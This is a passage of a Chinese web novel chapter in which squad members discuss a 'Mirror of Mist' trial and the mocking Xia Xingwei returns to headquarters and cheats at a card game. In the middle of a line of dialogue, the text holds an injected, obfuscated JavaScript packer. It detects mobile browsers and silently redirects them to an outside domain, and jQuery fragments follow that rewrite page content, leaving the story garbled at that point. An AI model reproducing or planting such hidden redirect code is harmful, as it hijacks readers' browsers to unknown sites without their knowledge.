“目标清除，区域安全。” 黎楷期关闭喷雾罐，走到枯树旁，用罐体底部附带的探测器谨慎地扫描残留物，确认没有异常能量反应，才松了口气，看向乐晴，点了点头。 “解散。”乐晴原地解散小组成员，让他们去收集碎裂的命珠，自己则收起枪，走向不远处的草坡。 黎楷期跟了上来。 两人站在草坡顶端。 脚下，曾经拥挤、杂乱的贫民窟，如今只剩下一片荒漠，风卷起沙砾，满目荒凉。 乐晴沉默地看着这片废墟，脸上没什么表情。过了一会儿，她转头看向身边的黎楷期：“黎楷期，我有一个问题，想请教你。” “嗯，你问吧。”黎楷期正望着贫民窟的废墟出神，闻言愣了一下，收回目光。 “在上一场迷雾之镜中，我需要寻找三本指南，分别是《如何在三天内写完博士毕业论文》《如何从艺术系转到医学系》《如何在四年内成为医学博士》，每找到一本指南，可回血30学分。根据我的记忆，在这场挑战中，我死亡一次、走了一次捷径，没有找到任何指南作为回血项，共计扣除50学分。按照规定，学分低于60我会收到退学预警，可是并没有。” 黎楷期看向乐晴，眉头微皱，似乎在思考。 “或许……指南并非指纸质或电子版的书籍，而是指完成指南所描述的那个行为本身。” “——比如，《如何从艺术系转到医学系》意味着你必须实际完成从艺术系成功转系到医学系这件事情。《如何在三天内写完博士毕业论文》同理，你必须真的在三天内写完，无论质量如何，但必须是完成状态，才算找到这本指南，获得回血。”黎楷期就自己的经验向乐晴解释。 “完成指南所描述的那个行为本身……”乐晴思考着这句话。 或许黎楷期说的没错，完成指南所描述的那个行为本身，就是指南本身。 她在迷雾之镜死亡后，从艺术系的乐晴成为医学系的乐晴，阴差阳错完成了任务。 乐晴想起迷雾之镜里看到的贺以辛，又问：“你觉得，贺队是个怎样的人？” “贺队？”黎楷期顿了顿，斟酌措辞，“务实，稳重，护短。” 务实、稳重，她都能理解，但是护短？ “护短？” “嗯，护短。只要是金字塔内的人，贺队都会格外护短，尤其是你。”黎楷期意味深长地看向乐晴，“不管你犯了什么错，贺队都会保你。” 乐晴心里咯噔一下。 她觉得黎楷期的话里别有意味，甚至猜测，黎楷期和贺以辛是不是知道了她阴差阳错杀死丁凡的事情，但黎楷期的随身空间突然弹出提醒。他看了一眼，动作几不可察地顿了一下，眼睛闪过一丝极其复杂的情绪。 乐晴注意到黎楷期的不对劲，也没有心思继续纠结这个所有人似乎都心照不宣三缄其口的秘密。 “怎么了？”乐晴低声问，“又有新状况？” 黎楷期深吸一口气，摇了摇头，声音比平时低沉了些：“不是污染物。是李茉子，她说……有人回来了。” “有人回来？贺队吗？”乐晴有些疑惑。安全部成员执行任务归队是常事，应该不至于让黎楷期露出这种表情，贺以辛也不至于。 黎楷期沉默了一瞬，摇摇头：“夏行惟。” “夏行惟？”乐晴重复了一遍这个名字，脑海中快速搜索着安全部名单、指挥部成员档案，甚至是其他部门重要人员的名字，都一无所获。 “他……是过去的人。一个非常重要，也非常麻烦的人。乐晴，这里结束之后，就先回去休息吧，你从迷雾之镜出来之后还没休息过。至于夏行惟……交给我和李茉子她们。” - 回到宿舍，乐晴去找过姚芸方和李茉子，两个人都不在，问了楼下的巡视人员，他们也都说，人没回来过。 她们还在金字塔。 夏行惟……听到这个名字，乐晴难免会想到夏未。是巧合吗？在这个光怪陆离、充满污染和诡异规则的世界里，巧合本身就是一种可疑的信号。 乐晴想了想，换了一身便服，前往金字塔。 - 指挥部。 完全空旷、纯白的空间，中间盘腿坐着三个人，空气里弥漫着一股紧绷又诡异的松弛感。 “对三。” “要不起。” “……李茉子，他是地主！” 李茉子抬起眼皮，晃了晃手中的三张牌，声音没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271308|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么起伏：“我知道，可我真要不起。” 姚芸方低头看着自己手里的五张牌，挫败地摇摇头：“过。” 夏行惟低笑一声，带着点漫不经心的恶意，指尖捻开两张牌，慢悠悠地丢在地上：“对、三。” 姚芸方看着地上被拆成两个对子的四张三，瞪着夏行惟：“你有病吧？见过直接炸的，你怎么还拆成两个最小的对子？” 夏行惟嘴角勾起一道弧度，漫不经心道：“直接炸了多没意思，一点观赏性都没有。” 李茉子：“……最后一张，是什么？” 夏行惟抬起眼，似笑非笑地扫过李茉子和姚芸方，指尖一转，将牌面朝向她们。 “三？”姚芸方把牌扔到一旁，身体前倾，从夏行惟手里夺走那张“三”，看了看手里那张三，又看了看地上的四张三，眼睛瞪圆，“夏行惟，你出老千？！” 夏行惟懒洋洋地从地上支起身，拍了拍身上并不存在的灰尘，笑容灿烂又恶劣：“规则上写了不许出老千吗？按部就班玩斗地主多无趣，当然要加点彩头才好玩。” 他的语调轻佻，仿佛这只是一场无关紧要的恶作剧。 黎楷期推门进来时，看到的便是这幅景象：姚芸方气得全身泛红，李茉子眼神防备地看着夏行惟，而那个消失了不知多久的男人，正带着一身玩世不恭的笑容，站在指挥部中央。 “夏行惟？” 夏行惟站起身，上下打量黎楷期，嘴角噙着一丝说不清是嘲弄还是感慨的笑：“又长高了？” 黎楷期无视他话里的刺：“你怎么突然回来了？” “怎么？不欢迎？”夏行惟站起来，轻车熟路地四处走着，“都过去多少年了，指挥部还是这样，家徒四壁。” “唯独这幅画。”夏行惟看着那幅色调灰暗的画，手指由最中间的一个金色的圆环滑到旁边的白色背景，“挂了多少年了，你们贺队还是没做到。” 李茉子不服气，梗着脖子往前两步：“贺队会做到的！” “是，会做到的。”夏行惟敷衍地应了两句，连眼神都没给李茉子一个，他倏然转身，唇角的笑意消失无踪，“贺以辛呢？” 好问题。黎楷期和姚芸方默契地对视一眼，同时选择了沉默。 “我问你们话呢，贺以辛呢？”夏行惟转过身，看着三个人，“这么多年没见，我想见见我的好师兄，是不是依然满腔热忱，天真得可笑。” 李茉子顿了一下：“不知道。” “不知道？”夏行惟停在李茉子面前，“怎么可能不知道？躲着我？” 黎楷期上前：“我们真的不知道。因为蚀心的精神污染，我们被迫启动销毁程序，现在，我们也不确定贺队在什么地方。” 夏行惟看着黎楷期，试图从他的眼睛里看出什么端倪：“你们查不到他的定位？他没有联系你们？” 黎楷期丝毫不心虚地看回去：“精神污染，你知道的，失联是很正常的事情。” 夏行惟盯着黎楷期，仿佛要穿透他的皮囊看清里面的想法。片刻后，他忽然嗤笑一声：“你们倒真敢启动销毁程序？万一他被流放到宇宙缝隙，成了迷失的孤魂野鬼呢？万一他出了什么意外……”他拖长了调子，眼中闪烁着不怀好意的光芒，“你们的‘救世主’无法启动最后的‘仪式’，你们心心念念想守护的这个世界，不就……彻底完蛋了吗？” 黎楷期沉默着，下颌线绷紧。他没有反驳，只是静静地看着夏行惟。 姚芸方看着针锋相对的两个人，再次感慨黎楷期过于老实，遇上夏行惟这种疯子就落了下风。 这疯子……一回来就搅得指挥部不得安宁。